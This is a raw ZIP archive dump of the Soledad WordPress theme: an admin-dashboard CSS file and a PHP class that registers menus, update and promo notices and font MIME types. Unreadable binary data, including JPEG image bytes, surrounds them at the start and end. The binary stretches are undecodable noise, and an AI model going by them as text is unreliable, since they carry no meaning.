X-J/~۵dp; <W4MS/+Enش0;=N{3!Q)9]=$}޵2KPg(۫PY)k揚f,}eKfh#*3WA+xvfe++,fTr~j)	[Tn*4p]W1ǳ%f5*yW		@Y9~ËɄT5Xٳi_q# ;K(569LFQ /RLEE&RzOEK-Q}YkvqsOLcG2hn⪻ :`֥$ǘ7UѬr_JQ!wJ:6m纏h%b4	TM_3\jzFs1g.cbGd?2RY`o;2u%{^r)`+v۳7Fs=CuC{C.=Z8kVYe`Ԯ_YꓣUu@iR|:^y%}.ӀT4O.]qqZ-v.weio:f/1I|FbDXCE?{U-Nx0w6~U~}.xcf!6x>}   WAD<i3״)>|Qķ~XC}<A>6c T;k#7.{7c8T_4X;B*bm#"""*RJ)EDDDD̛?97t3Zkgсhzt&ޯw.YNˋվgH@E!6~brݴz]DDDDDDDfffffffVUUUUUUUi{z6Nd PK     0w\H  H  !  dashboard/css/dashboard-style.cssnu [        .penci-about-wrap {
	max-width: 1200px;
}

.penci-about-wrap .feature-section h3{
	margin-top: 1.25em !important;
}

.about-wrap .wp-badge {
	background-image: url(../images/logo.png);
	color: #fff;
}

.about-wrap .nav-tab{
	font-size: 15px;
}

a {
	text-decoration: none;
}

.penci-dashboard-wapper .product {
	text-align: center;
}

.penci-dashboard-wapper .products .product img {
	box-shadow: none;
	margin: 0 auto;
}

.penci-dashboard-wapper .wp-badge:hover {
	text-decoration: none;
}
.feature-section {
    overflow: hidden;
}
.feature-section.two-col {
	align-items: flex-start;
}
.feature-section.two-col,
.feature-section.three-col {
    display: flex;
    justify-content: space-between;
    flex-wrap: wrap;
}
.feature-section.two-col .col,
.feature-section.three-col .col {
    flex: 1;
    align-self: flex-start;
	padding: 0 10px;
}

.feature-section.two-col h3:not(:first-child) {
	margin-top: 3em;
}
.feature-section img {
	display: block;
	box-shadow: 0 0 20px rgba(0, 0, 0, .1);
}

.nav-tab-active:focus {
	box-shadow: none;
}

.button-hide {
	display: none !important;
}

.penci-upload-font-actions {
	margin-top: 5px;
	margin-bottom: 10px;
}

.custom-fonts-name {
	width: 250px;
}

.gt-is-active {
	display: block;
}

.penci-dashboard-wapper .form-table tr {
	border-bottom: 1px solid #ddd;
}

.penci-dashboard-wapper .form-table th {
	padding-left: 10px;
}

.penci-dashboard-wapper .form-table th:not(:first-child),
.penci-dashboard-wapper .form-table td:not(:first-child) {
	width: 15%;
	text-align: center;
}

.penci-dashboard-wapper .about-wrap td h3 {
	margin-top: 0;
}

.penci-dashboard-wapper .form-table .dashicons {
	font-size: 35px;
	width: 35px;
	height: 35px;
}

.penci-dashboard-wapper .form-table .dashicons-yes {
	color: green;
}

.penci-dashboard-wapper .form-table .dashicons-no {
	color: red;
}

.penci-table-options {
	margin-top: 10px;
	margin-bottom: 20px;
}

#system_status table{
	margin-bottom: 35px;
}

#system_status table th {
    padding: 10px 10px 10px 15px;
    font-weight: bold;
}

#system_status table td {
    padding: 10px;
}

#system_status .system-status-name {
    width: 200px;
    padding-left: 15px !important;
}

#system_status .system-status-status {
    width: 50px;
    text-align: center;
    font-size: 11px !important;
}

#system_status .penci-tooltip {
    width: 12px;
    height: 13px;
    display: inline-block;
    text-align: center;
    line-height: 13px;
    cursor: pointer;
    position: relative;
    top: 2px;
}

#system_status .system-status-info {
    background-color: silver;
    color: white;
    font-size: 11px;
}

#system_status .system-status-green {
  background-color: #58AD58;
}
#system_status .system-status-yellow {
  background-color: #F2E132;
}
#system_status .system-status-red {
  background-color: #f2483a;
}

.status-small-text {
  font-size: 12px;
  color: #707070;
  font-style: italic;
  display: block;
}

.multiple-select {
	width: 90%;
}

.soledad-hide-googlefont,
.penmews-hide-option {
	display:  none;
}
.title-more-items {
	text-align: center;
}

.about-wrap #getting-started .feature-section .col,
.about-wrap #support .feature-section .col {
    margin-top: 20px;
}
 
 .about-wrap #support .feature-section.three-col h3,  	
.about-wrap #getting-started .feature-section.three-col h3 {
    margin-top: 0;
}

.penci-activate-wrap{
	background-color: #fff;
	max-width: 750px;
	margin-top: 50px;
	padding: 40px;
	box-shadow: 0 0 8px 0 rgba(0, 0, 0, 0.08);
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.penci-activate-wrap .penci-activate-code-title {
	font-size: 28px;
	margin-top: -11px;
	margin-bottom: 12px;
	line-height: 30px;
}

.penci-activate-wrap .penci-activate-desc,
.penci-activate-wrap .penci-activate-desc2 {
	width: 100%;
	font-size: 14px;
	line-height: 24px;
	margin-bottom: 36px;
}
.penci-activate-desc2 strong,
.penci-activate-desc strong {
	color: #000;
}
.penci-activate-wrap .penci-activate-inputs {
	position: relative;
	margin-bottom: 30px;
}

.penci-activate-wrap .penci-form-control {
	width: 100%;
	height: 42px;
	margin: 0;
	padding: 0;
	font-size: 16px;
	border: 0;
	-webkit-transition: all 0.3s ease-out;
	-moz-transition: all 0.3s ease-out;
	-o-transition: all 0.3s ease-out;
	transition: all 0.3s ease-out;
	-webkit-box-shadow: inset 0px -20px 0px -19px #dedede;
	-moz-box-shadow: inset 0px -20px 0px -19px #dedede;
	box-shadow: inset 0px -20px 0px -19px #dedede;
}

.penci-activate-wrap .penci-form-control::placeholder {
	color: #b4b4b4;
}
.penci-activate-wrap .penci-form-control:focus {
	-webkit-box-shadow: inset 0px -20px 0px -19px #6eb48c;
	-moz-box-shadow: inset 0px -20px 0px -19px #6eb48c;
	box-shadow: inset 0px -20px 0px -19px #6eb48c;
}
.penci-activate-wrap .penci-form-control:focus::placeholder {
	visibility: hidden;
}

.penci-activate-wrap .penci-form-control-bar {
	position: absolute;
	top: 41px;
	left: 0;
	-webkit-transition: width 0.3s ease;
	-moz-transition: width 0.3s ease;
	-o-transition: width 0.3s ease;
	transition: width 0.3s ease;
	background-color: #6eb48c;
	width: 0;
	height: 2px;
}

.penci-activate-wrap .penci-form-control:focus + .penci-form-control-bar {
	width: 100%;
}

.penci-activate-wrap button{
	border: 0;
	border-radius: 0;
	background: #000;
	color: #fff;
	line-height: 36px;
	padding: 0 15px 0;
	text-align: center;
	transition: all 0.25s;
	font-size: 14px;
	text-transform: uppercase;
	cursor: pointer;
}

.penci-activate-wrap button:hover {
	border-color: #6eb48c;
	background: #6eb48c;
	color: #fff;
}

.penci-activate-wrap .soledad-find-code{
	display: inline-block;
	padding-left: 20px;
	font-size: 13px;
}

.penci-activate-wrap  .penci-activate-err {
	color: red;
	font-size: 14px;
	margin-top: 5px;
}

.penci-activate-wrap  .penci-activate-err span{
	display: none;
}

.penci-activate-wrap  .penci-activate-err span.penci-err-show{
	display: block;
}

.penci-activate-wrap  .spinner {
	float: none;
	display: none;
}

.penci-activate-wrap  .spinner.active {
	visibility: visible;
	display: inline-block;
}

#wpadminbar ul li.penci-update-notice-button a,
#wpadminbar ul li.penci-update-notice-button a:hover {
	background-color: #b70303 !important;
	color: #fff !important;
}
PK     0w\A
*  *  #  dashboard/class-penci-dashboard.phpnu [        <?php
/**
 * Add theme dashboard page
 *
 * @package Soledad
 */

/**
 * Dashboard class.
 */
class Penci_Soledad_Dashboard {


	private static $instance;

	public static function instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}


	public function __construct() {
		require_once __DIR__ . '/inc/custom_fonts.php';
		require_once __DIR__ . '/inc/social_order.php';
		require_once __DIR__ . '/inc/require-activation.php';
		require_once __DIR__ . '/inc/white-label.php';
		require_once __DIR__ . '/inc/custom-fonts-type.php';
		require_once __DIR__ . '/inc/patcher.php';

		if ( current_user_can( 'manage_options' ) ) {
			add_action( 'admin_menu', array( $this, 'add_menu' ) );
			add_action( 'admin_bar_menu', array( $this, 'add_bar_menu' ), 999 );
		}
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_init', array( $this, 'redirect' ) );
		add_action( 'admin_notices', array( $this, 'promo_notice' ) );
		add_action( 'admin_notices', array( $this, 'penci_update_notice' ) );
		add_filter( 'upload_mimes', array( $this, 'custom_mime_types' ) );
		add_action( 'wp_ajax_admin_dimiss_license_notice', array( $this, 'admin_dimiss_license_notice' ) );
		add_filter( 'admin_body_class', array( $this, 'add_body_classes' ), 100 );
	}

	public function add_body_classes( $classes ) {

		$installations = Soledad_Theme_Installations::get_instance();

		if ( $installations->is_setup() && 'done' !== get_option( 'soledad_setup_status' ) ) {
			$classes .= ' soledad-setup-wizard-page';
		}

		return $classes;
	}

	public function promo_notice() {

		$penci_note   = isset( $_GET['penci-dismis'] ) ? $_GET['penci-dismis'] : '';
		$dismis_promo = get_transient( 'penci_dismis_promo' );

		echo $dismis_promo;
		
		if ( 'penci_dismiss_promonotices' == $penci_note ) {
			set_transient( 'penci_dismis_promo', 'yes', 86400 );
		}

		if ( penci_is_new_promotion() && ! $dismis_promo ) {

			$data_pro = penci_is_new_promotion( true );
			if ( !empty( $data_pro ) ){
			?>
			<div class="notice pc-promo-notice">
				<a target="_blank" href="<?php echo $data_pro['link'];?>"><img src="<?php echo $data_pro['url'];?>" alt=""></a>
				<a class="pc-promo-notice-dismiss" href="<?php echo admin_url( '?penci-dismis=penci_dismiss_promonotices' ); ?>">×</a>
			</div>
			<?php
			}
		}
	}

	public function custom_mime_types( $mime_types ) {
		$mime_types['woff'] = 'application/x-font-woff';
		$mime_types['svg']  = 'image/svg+xml';

		return $mime_types;
	}

	public function admin_dimiss_license_notice() {
		update_option( 'penci_hide_license_notice', true );
		wp_send_json_success();
		wp_die();
	}

	/**
	 * Add theme dashboard page.
	 */
	public function add_menu() {

		$wel_page_title      = $this->get_wel_page_title();
		$wel_page_title_html = $wel_page_title;
		if ( penci_is_new_update() ) {
			$wel_page_title_html = $wel_page_title . ' <span class="update-plugins"><span class="update-count">Update</span></span>';
		}
		add_menu_page(
			$wel_page_title,
			$wel_page_title_html,
			'manage_options',
			'soledad_dashboard_welcome',
			array(
				$this,
				'dashboard_welcome',
			),
			null,
			3
		);
		add_submenu_page(
			'soledad_dashboard_welcome',
			esc_html__( 'Custom Fonts', 'soledad' ),
			esc_html__( 'Custom Fonts', 'soledad' ),
			'manage_options',
			'edit.php?post_type=penci_cfonts'
		);

		$this->replace_text_submenu();
	}

	public function get_wel_page_title() {
		$wel_page_title = get_theme_mod( 'admin_wel_page_title' );

		return $wel_page_title && get_theme_mod( 'activate_white_label' ) ? $wel_page_title : 'Soledad';
	}

	public function replace_text_submenu() {
		global $submenu;
		$submenu['soledad_dashboard_welcome'][0][0] = esc_html__( 'Welcome', 'soledad' );
	}

	function penci_get_option( $key = null, $default = false ) {
		static $data;

		$data = get_option( 'penci_soledad_options' );

		if ( empty( $data ) ) {
			return array();
		}

		if ( $key === null ) {
			return $data;
		}

		if ( isset( $data[ $key ] ) ) {
			return $data[ $key ];
		}

		return get_option( $key, $default );
	}

	public function add_bar_menu() {
		global $wp_admin_bar;
		if ( ! is_super_admin() || ! is_admin_bar_showing() ) {
			return;
		}
		$wp_admin_bar->add_menu(
			array(
				'parent' => 'site-name',
				'id'     => 'soledad-dashboard',
				'title'  => $this->get_wel_page_title(),
				'href'   => admin_url( 'admin.php?page=soledad_dashboard_welcome' ),
			)
		);
	}

	/**
	 * Show dashboard page.
	 */
	public function dashboard_welcome() {
		$wizard       = Soledad_Theme_Installations::get_instance();
		if ( $wizard->is_setup() && 'done' !== get_option( 'soledad_setup_status' ) ) {
			$wizard->setup_wizard_template();
		} else {
		?>
		<div class="wrap about-wrap penci-about-wrap">
			<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
			<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/getting-started.php'; ?>
		</div>
		<?php
		}
	}

	/**
	 * Enqueue scripts for dashboard page.
	 *
	 * @param string $hook Page hook.
	 */
	public function enqueue_scripts( $hook ) {

		$ver = current_time( 'timestamp' );

		wp_enqueue_media();
		wp_enqueue_style( 'dashboard-style', PENCI_SOLEDAD_URL . '/inc/dashboard/css/dashboard-style.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'soledad-button-script', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery-grid-picker.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'soledad-dashboard-script', PENCI_SOLEDAD_URL . '/inc/dashboard/js/script.js', array( 'jquery' ), $ver );

		$localize_script = array(
			'ajaxUrl' => admin_url( 'admin-ajax.php' ),
			'nonce'   => wp_create_nonce( 'ajax-nonce' ),
			'patcher_nonce'   => wp_create_nonce( 'patcher_nonce' ),
			'domain'  => get_home_url( '/' ),
		);
		wp_localize_script( 'soledad-dashboard-script', 'PENCIDASHBOARD', $localize_script );
	}

	/**
	 * Add notice message when a new version released
	 *
	 * @param none.
	 */
	public function penci_update_notice() {
		if ( penci_is_new_update() ) {
			$penci_note     = isset( $_GET['penci-dismis'] ) ? $_GET['penci-dismis'] : '';
			$latest_version = penci_is_new_update( 'version' );
			$dismis_version = get_transient( 'penci_dismis_update_version' );
			if ( ! $dismis_version || version_compare( $latest_version, $dismis_version, '>' ) ) {
				update_option( 'penci_dismiss_update_notices', '' );
			}
			if ( 'penci_dismiss_updatenotices' == $penci_note ) {
				update_option( 'penci_dismiss_update_notices', 'yes' );
				set_transient( 'penci_dismis_update_version', $latest_version, 2592000 );
			}
			$penci_dismis_notes = get_option( 'penci_dismiss_update_notices', '' );

			if ( 'yes' != $penci_dismis_notes ) {
				?>
				<div class="notice pc-update-notice">
					<p class="pc-updaten-title">New Update Available!</p>
					<p>There is a new version of the theme available! Update your theme to get new features and bug
						fixes.</p>
					<p>You can check <a href="https://pencidesign.ticksy.com/article/15633/" target="_blank">this
							guide</a> to know how to enable updates with one click.</p>
					<p>You can click <a
								href="https://themeforest.net/item/soledad-multiconcept-blogmagazine-wp-theme/12945398#item-description__update-changelog"
								target="_blank">here</a> to check what's new in the newest version also.</p>
					<p><a style="text-decoration: none; opacity: 0.8;"
							href="<?php echo admin_url( '?penci-dismis=penci_dismiss_updatenotices' ); ?>">Dismiss this
							update.</a></p>
				</div>
				<?php
			}
		}
	}

	/**
	 * Redirect to dashboard page after theme activation.
	 */
	public function redirect() {
		global $pagenow;

		$install_wizzard = true;
		$url = admin_url( 'admin.php?page=soledad_dashboard_welcome' );

		if ( 'done' === get_option( 'soledad_setup_status' ) ) {
			$install_wizzard = false;
		}

		$args = array(
			'page' => 'soledad_dashboard_welcome',
			'tab'  => 'wizard',
		);

		if ( $install_wizzard ) {
			$url = esc_url_raw( add_query_arg( $args, admin_url( 'admin.php' ) ) );
		}

		if ( is_admin() && isset( $_GET['activated'] ) && 'themes.php' === $pagenow ) {
			wp_safe_redirect( $url );
			exit;
		}
	}
}

if ( ! function_exists( 'penci_is_plugin_active' ) ) {
	function penci_is_plugin_active( $class, $slug ) {
		return $class->is_plugin_active( $slug );
	}
}

function penci_update_toolbar_link( $wp_admin_bar ) {
	$tgm_instance    = TGM_Plugin_Activation::get_instance();
	$default_plugins = array(
		'penci-shortcodes',
		'vafpress-post-formats-ui-develop',
		'penci-soledad-slider',
		'penci-portfolio',
		'penci-recipe',
		'penci-review',
		'penci-soledad-demo-importer',
		'penci-soledad-amp',
	);

	foreach ( $tgm_instance->plugins as $id => $detail ) {
		if ( in_array( $id, $default_plugins ) && penci_is_plugin_active( $tgm_instance, $id ) && $tgm_instance->does_plugin_require_update( $id ) ) {
			$penci_icon = '<svg style="position: relative; top:4px;margin-right: 5px;" version="1.0" xmlns="http://www.w3.org/2000/svg" width="18px" height="18px" viewBox="0 0 26.000000 26.000000" preserveAspectRatio="xMidYMid meet">
				<g transform="translate(0.000000,26.000000) scale(0.100000,-0.100000)" fill="#ffffff" stroke="none">
					<path d="M72 202 l-62 -60 0 -66 0 -66 125 0 125 0 0 61 0 61 -63 65 -62 64
				-63 -59z m73 28 c3 -5 -3 -10 -15 -10 -12 0 -18 5 -15 10 3 6 10 10 15 10 5 0
				12 -4 15 -10z m57 -57 c34 -33 36 -38 20 -49 -14 -10 -21 -8 -45 12 -36 31
				-62 30 -93 -1 -21 -21 -28 -23 -44 -13 -19 12 -18 14 17 50 51 52 92 52 145 1z
				m-77 -93 c0 -59 -1 -60 -27 -60 -26 0 -28 3 -28 42 0 24 7 49 17 60 28 32 38
				21 38 -42z m49 44 c10 -9 16 -33 16 -60 0 -40 -2 -44 -25 -44 -24 0 -25 3 -25
				60 0 62 7 71 34 44z m-130 -20 c9 -8 16 -31 16 -50 0 -27 -4 -34 -20 -34 -17
				0 -20 7 -20 50 0 28 2 50 4 50 3 0 12 -7 20 -16z m201 -34 c0 -44 -3 -50 -20
				-50 -18 0 -20 5 -17 38 4 35 17 62 31 62 3 0 6 -22 6 -50z"></path>
					<path d="M90 70 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0 -10
				-4 -10 -10z"></path>
				</g>
			</svg>';

			$args = array(
				'id'    => 'penci-update-notice',
				'title' => $penci_icon . ' Soledad - Notifications',
				'href'  => '#',
				'meta'  => array(
					'class' => 'penci-update-notice-button',
					'title' => 'Soledad - Notifications',
				),
			);
			$wp_admin_bar->add_node( $args );

			$args = array(
				'id'     => 'penci-update-notice-link',
				'title'  => 'Some Plugins Need to Update',
				'href'   => admin_url( 'themes.php?page=tgmpa-install-plugins&plugin_status=update' ),
				'parent' => 'penci-update-notice',
				'meta'   => array(
					'class' => 'penci-update-notice-btn',
					'title' => 'Some Plugins Need to Update',
				),
			);
			$wp_admin_bar->add_node( $args );
		}
	}
}

add_action( 'admin_bar_menu', 'penci_update_toolbar_link', 50 );
Penci_Soledad_Dashboard::instance();
PK     0w\1Ԑ  Ԑ    dashboard/images/pennews.jpgnu [         JFIF  H H    	

+  +&.&#&.&D6006DOB?BO_UU_xrx	

+  +&.&#&.&D6006DOB?BO_UU_xrx ,N"               	     =}w|63c|@QAEPUP\EQU3QW%RZ.=%ޱE/{(d
Bdcܟ8,X(   H((*㙎.פPqe@P%U	ÉIC0(J[15y=2
 *!]N.si|Vtw!3t%֫!GOtQTU19p:0xE#<ד@" bٴ0Y3>Eou!}6u˵`(e.4-gJ?TPU-i>E}U܁7knt󣦧52d
M)SrԩVD@TU$٫ ym"$ym<vqArEDoxZoeyv%SZ ( "f! *Jd
*/=h4Jz>&Ԫ 
 "mY)1ؖ@2$,VM)DBrӱbQ:i{c!W_=ψҢ( `G_3Ǘ:"ҵ8`Gv1y Z6'߼JܩR͡E2E z>y?r<Ə隆OZWsV_0tMS#lG^̱L_-hY3( *
"@

hWܙJࠂ
 xB"f( 
>RU:kSsI0uB"
(B YErCwk?U:oޑ﷿\ 1ZԓUߠs=Gwq;:훮^6,TS EUT4wvXO_].a*XܩuFn1nhk$zE]kU UE!AUPUEIL<Ъ!R9uOTHJF_g=7A߯8=UTT%T-![TDN_O}-;9;zm|PXB\Q}f 呒/Fvs-k|sڨVvf?p-xIUڶlgqy?M˄csM0y^jUW6K֑שJ˲j@	S/xqy|?NClWTs UE?\֠ iCð q螔&?0ƨ76~Ow-GzEA^zRL4dF,w!  NLIU=^|"g[;\= )F47\,+<\:;n 1=%n6öI^"XYd)X7ZBkYZVcYi^&Ҟ3S43hxKgmNy<u{a%z(wϝU%^V۶[y(cﶥvELO/y	( )9jmvǞ~_MD>YSzHer!>nul`޵ل
)|~U-;YbaӌFDF뙃~O&{XB4[X;Z]x]ݦo1&۟G%iҶVmvUq}Bys^yl.zzInɫ[Vyks@WէO;   Ŷ_*fjt{j[rkkoz{לI:vo˻O"y.׻	DV+   i8VMM??Yn,r~1wHvbOP{hyo_8giV[?.1p>Ms'~g:4;竅w>xPԝ$[@;E?RGƤ/,mY!mc7c̚%#ݭ1bO}<5!Qto` q޻VqEaqBc>ԻNl5<gU՞M0_m|. ^t.~.}ktoV:]	}wCS@^zPS'B	OS=]iGCa1篨v|{64Sq[fҬS/*
{>$9S$=sOhTBjff+Ƥ^qߠc$w'gtKǟ]ܰ랸co9Fj 2s\z>.^ttAkliCǻwJ֠-|z"g Q@se
rzxf׮={r1l7ٷ⻞Qy4>םjXTO"                     :)Hm ij`IN}p TN׽;_;6P4¶%]5jl8<޻!$LS1ΏϬ$Tamls!#^xa|,/~	 0$QH[Hd&V	Tt2eJ܉]a(&s	U?OM<XOc{%9S P5T7TBѢ6XI6߯=<ˉGkЎr&,Et|W[=Y=x` r:sj'K=P>SX˲lڭ4w.ܓ#SH tov7Bi}<uKZhhM.:-3i*yQopYв|_	:l/T`p M2*k__ɬ}U                 I$(PUk[e_r  P"EDUEQ꾧>M}P P L\
-	/@
  D=B/o|oQ 
O[ 
  ,F{ߋ ;J( (@P*槸, %`-kӺFX PU IgOv@Hd뿓t-(mE$YTWc@8wz+^<:mCbZٟ>g?9J\$Y[$z>hEsfӏ>z-} ?Er@/	b]Vw z!\2I$?УNf-+e컏Xayij[qU}VG-qu=euI^4׳9<2$-ZZI{&I:EO͒I$ 8     !"12 $035A#4@%6PQBD`R  cڿ=cvG!q/wDG3D)+]Wt*$CQj HGA!H5 LQLP*.ߥ?ZEkzAtaٳPs+[kcj&Bb^Éi٠RH[[|WO}
5(olb/n6:1ʗ,JbB0*T%ϖ=?Loҟ(Ch&;OL5l}_#Y2HrrwO Y06UHͯ4g|_Ƣ8ZQf<mȊUÒ}^Ő؀(/tYaLu|=7u]5BdU,Dul揚1A%a88DDk\cߛ+aGccqwOb]'\PQK_byUbv{g5}3'k(e2tXz,"GP UF@GREK_+vW8٪{)QSǚ'%kXKcOf+fбT,GZu5<7f RB[Tj^Բ'xQ|+Q4Y,QBrt,tA9SD7ܟ$͕o3ć{x'*LfϦfJ3iqq4<}6zZ37
8ztOhQƎ|vr U+EsIS I8xmL$x_܁D~8LR5%uTfdiKWg"T2qA3|13A	K=c.[18(^!ɭlM,"O33R/n"ILP!)]fP\Z?,2H{4xYKlZm+I GyG 993D<okuet-WJ@UB;r{O˂u~S9zqt	YRC55r4ℊ(%OIV7A׽n_% *%sE.da27.B~E|k<V[ش=&0BAg8"Q-TEZ5a2O,6?E"n\]ZQUQsbA;?,)]	LFE+΢j?73ew$ ^Nk'@묌C++HLyK>+ekzQn(]1Q)S*y&p\E*5ޞEq2OKmZNZ}=.Ʉp,r'pqI*aȬ;!֚L:OKF%VjVbOflb+."WXiz"$bQKHHӒ\2UF{g,@\Nb^AP!-YHNuN`S4ux+(ةV#PhiҮӤtG;L||bM$w4pM0Cd%Fi֥0I'?vI;B'=U*  W
d)dsqoiHcނ8t̱^Gs3@~\ !!3O ǚfQCObw#5&1֠dLRF.Vjc:꿉)L͙S*)R_ܫsΏ^Hr< UQYK,Ay仩3J!N1;{VQ?Imc,-?&ME|aKpFULdᇤ 9a79WP`#}9繯vlD%InF$)$E
<Z]EǳF[)5Xi:P2`l4۫]urBfǉh"QS9Us :zLgi!LYUn9-5'hr5}1'NYYXBZ|hvHSI$%k	rC9KgƙcFf +ɝzZB'IYgQċ=1sѢX"N9RX{oi Hd~I< 
S1oVmdW. TvV=7Mox2Εޥrd65%i׾h:tZEI_Kx
(N+Kg`qTӒy!X4Htat!ɒ:E5b²C&jg>I#	:fYVvmfN+K0L4y`)!{dBll+Lx?]?l\ҊWdfv.j.j.j.jiߋ4\t jH'Ml+XedױO &a*z1='ۆ%LLe	cZ s~hIȅ|)!jX$ëȉWlþxlJRN(M@4_%oIGYtJ$#qyh(a3E@8[Ab58SjW.4rj9Q h_G*&u]c`J24שgUvs~pGcPz5w5+Ikei(xMD*OcQொ753
/sj|faTjrQw͹ɹ͹͹.2l鿷D96fTPABlMK	vf|2O$]MB,CL8b HS"1W;vAѽr"҉c܊NF=7%Me6Q,'${+T4yJ<{7mb73s{R)g.ʖ Q[&1ɾD̍[cbd1Q͂7S-v}+H*'9IUc^U2oDȅFF9Rv <)rdf¡TM(.s<#)gD3i\?GBx {#56MuwR)%S!)"|nbiih|x...kŐwf+QȿpLy)r9ɯU,r+obLG#]1J^,ib=mo큉1X/I2$0Y(\7rvip6Niʋ@d*8NZi3m,NSV'u˜DX1ցPSΞid+tw=Tvq_w;2Cm1FY!X۟F&  CУ
X>P>8G-DW)W%VȨ~Iٞ]ӶU^L |V>2ˠvmҶm+n4nGY\DL{*&NKMlfӊGm{ٳ?O9]VVlHH7tKZ#b*3b[J)	X&zE-ݨS~HZ@-Uy#t:ouQZ)dJ6V3l3Z~?]l#RɲitR]y.`G7V AoC& 
(D#@ǱypkѸH.O;b5$=Q]R=nKR7rm!Ͷ.tdZDr~ @<:lċڳZ
~٬aGϔ˦<c:Up5D3g'` gL<S\ֿ)L뎔~"Wd#[+.d+71[g#GTTEQ;m	ި-ao,Q+5PisB6b(GKc&:L!4U<q4#:jJgjc鉦6IOUUHg4uT)dMm-@F)'''ggf`Cr[PG"C+HBw=ck5U"7r5UU]5ĶHȤz5$^-lrFLh UU$?OE;7fVJ͟oQS B乽HLڕx#nlCѲUG#hzeϑX=~N
ֲÓll5\-˚˟br"pHd#s""5QccS߱O/j9ϳxyo>ټ<7f}ϳxΡL_gq}ϳx=+f֪*g":SUd6]f?&]0RvDh5vIOȣvTMgM-%뻋/6?&HZ.Œ*zRQ0<6T0⻻?T-ȩeWގ"9z3;ޖX "XscdѐХʈz_ϚcA`"/n`1^0y: 4ED}餴iZUʻl<*٥z3ㅲ*lz*G\QlvΏ)^W2qn.'d C]&dFM"r*|hbuf'ɆɼýSWH\@H<Q6 WIHX3fvl͙M,`|t ="|sU\w"{Dd欱?ІѨ
2:Lr>Q3|o;b2G {p&p&ěgb0ѽ~MĚ 6;"RkZv;Zӹjl6c:gsδ[@DES͵>~qYP!<v7׸$FVq,I5~`x鉖cu~<T6~DLMjeK1GA;Blp:E1[)7Ï':ncG***hL2c\d 4Ԡưu]	P+	%fG ?]q>^3[d"s)\S ~\#^d\tQ!Wg-|G޷kP0Fjv96'tOVYAUDN\!rMf~-`*1d.56F,[KG甅Pd)CS1
lW7fOi1K]زHrb=v6L͝rUb=[O)NV$&Rg	V8dkIS(/<5G 9ۧk+5諆	V3Y<q"L`JnQ`s'LrJ[;bt2H2L'㾅rb"v+&W1 0!JM؏Mey\"
r$eH X1Ͱ+Q"c؛j5vu'o5{
$Lruj_{qcSu\!E\Wig76\seEcչ.wp.wp.wp.w :lwi:^0Pg2 xNh,JA;G*)-n䰈UTNur֦?ǡ7N*]Dz7(D_SQ!CTVpŚ{᫇
𒶡#aֱ U?FADuDJnR%єn-g[rc4.QFX+/Mc8R2_q=,а?WR\!.LF8q)ở<7ȭrӚ0UvvfԀPȭ $1?VfzdJsf9rym96kx5uIwG^^0AdMQ}?xG`ٰ2;LpƨU.ɏpOcH<ՋG_
샋4W6ʲCaFl, 'mAﲦv'ɫ/Ш%WyDUպ3E R◩h'bMY6-El3|=Q\m?Hr9hE ]nMr$3*w8V<]Qgqb%DgڝQSRȤNU>Sމc\HzOەEh1=FDȲJ=fhɳRH 1.:+QDCߙ+K4paf[go-UQnȈU|+Q{ +'겕rW'KxGOU|=P<*)zQ|QHu*=X]WnT-ac!am>Yb90Z߉5C#>Y[#uHQag_U멇?	JtğP4gPω2V1"|j+d"$5f7--b1;CmhHpͫ[m'ݩ(E+{DXmbɟJx..M3}Y,,f(%~#ޙ&u	]={XiAN>~dGu&|2_TV$2ⴐMvioab9?9.sx䩡#>:oMs>_g12Ggpt4t؛AXq	Z|5\\cU6dTeM?]D䊏 "{+*N\LsNMt;l{ѷ#vk!7]V$*.6,C*]A-mrT@"3OE"wM7qsT f9</4y(cUOi?T
B qˆt5IqZZԏ'X܆Q>1(c:Jфa4yy31e!j{dx׉RA# Gԟ&=vr!Cȃw̱ᢪr}UdJ ` x+HuV|u٥9{>G&#[&Kb9`WtCWjU]pc9:|g#ʔWlOf皵V:xՍƷ){otHHrAU\@$B9[}9bHʪoP`9/ioa&t:\Eؠ }{x!ت1ⵞ{tqFѢ&rd䪦|EE-9oY]WN145$ fMd;NnYzmyŤzo1nO6Fw"lS,'1){
yVz^ULq5k{oM g?\\\#\:TgnK H¸<Ppc^O2?:Σ?:F*g$aJEk%c [" 	d}vq>Ttorݕ7X}qEϡ#6{x+"<$<վsl\"n넄o%ө#zU]S 5T>ytD'[Y5[&8\ϥ2Jgph@*l4\r 2&d)qsV'GoŹ; ~IkfY5276nlٹsf͛d	YI6j*FLNUqf9.6tF{W>IJzCMqGoQ0-FSeO|t'FLV5ɲ:cCqzR^טp㍨/ӌO1ɒY 93LnEoW;	1Q)psNΐ L 		   !1AQ"2aq #BRS0b3@rCPcTs$`%DU  	?㖼z	Xjϴía0zaa15׹Spca궟XC{f7F2t+] |U
I/  T*Bz%G@m`xrݭnݪtt]	OqQ0P&	0q$tJr.1ngw&G&i8'뵭Ԙ$23z֦@ڃZ]Ų"y$d_7|%bg\
ؓMs{[J8aj=PЊTu*
-=Ěp64;Y[LT}frRq
Q{U#~xƾ=L[ h4!{%X,۱߶R7iҨ-c>l^Im©!Q{֒¨TcwBu#Rț1
7˃P&
B!aiT3Ls_ꑚQZ@BNUyiӸ!FJ-i
ͧkƆ^H8J4KŇ:&9^jz x5B,tHL6PwyT*M夈ةTi1f-5#/[b 5T<*7&6/Qԝ+P\qqCiĜF8eL8du?3íG{n``>LղI؈0akz ksC{npn|y;S*5ěK<^7N a og7ʹ٣Nu'90e"gEc"W9rr8mc a\G@Z>;Hw%'{QDJotF]r[q{ݪo)z֔(`PGJeF/~B9-)Li vܗN@Ekhcxtw+4Ҩ\<a;/ ~كB]ٚhhjTX"<|״b^GDoU»*k /f nn,u{^聵VsA֏G:cskW9YgbQņZ4D88yMDf!A'YTC9uRQ31øR%J4Oi&TF;
ݭ%8Rx+&M2-ANrb*5.
<rW{2m0ЙF2
